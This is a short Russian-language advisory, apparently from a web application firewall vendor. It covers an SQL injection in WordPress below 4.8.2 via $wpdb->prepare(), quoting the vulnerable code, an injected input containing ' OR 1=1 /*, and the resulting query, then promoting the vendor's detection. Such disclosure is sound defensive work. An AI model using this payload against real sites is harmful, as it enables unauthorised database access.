В популярной CMS WordPress версий < 4.8.2 обнаружена уязвимость типа SQL-инъекция.

Функция может позволить создавать небезопасные запросы, приводящие к SQL-инъекции:

$ wpdb-> prepare ()

Эта уязвимость позволяет злоумышленнику удаленно выполнять вредоносные SQL-команды для компрометации веб-приложения или доступа к базе данных.

Уязвимость содержится в следующем коде:

if ( $delete_all ) {
  $value_clause = '';
  if ( '' !== $meta_value && null !== $meta_value && false !== $meta_value ) {
    $value_clause = $wpdb->prepare( " AND meta_value = %s", $meta_value );
  }
  $object_ids = $wpdb->get_col( $wpdb->prepare( "SELECT $type_column FROM $table WHERE meta_key = %s $value_clause", $meta_key ) );
}

Передаваемые данные

$meta_value = ' %s ';
$meta_key = ['dump', ' OR 1=1 /*'];

приведут к следующему запросу:

SELECT type FROM table WHERE meta_key = 'dump' AND meta_value = '' OR 1=1 /*'

Такие атаки блокируются с помощью сигнатурного анализа. В случае обфускации пейлоада, запрос обрабатывается модулем искусственного интеллекта Nemesida WAF, распознающего аномалию в параметре запроса и позволяющему выявить эксплуатацию уязвимости.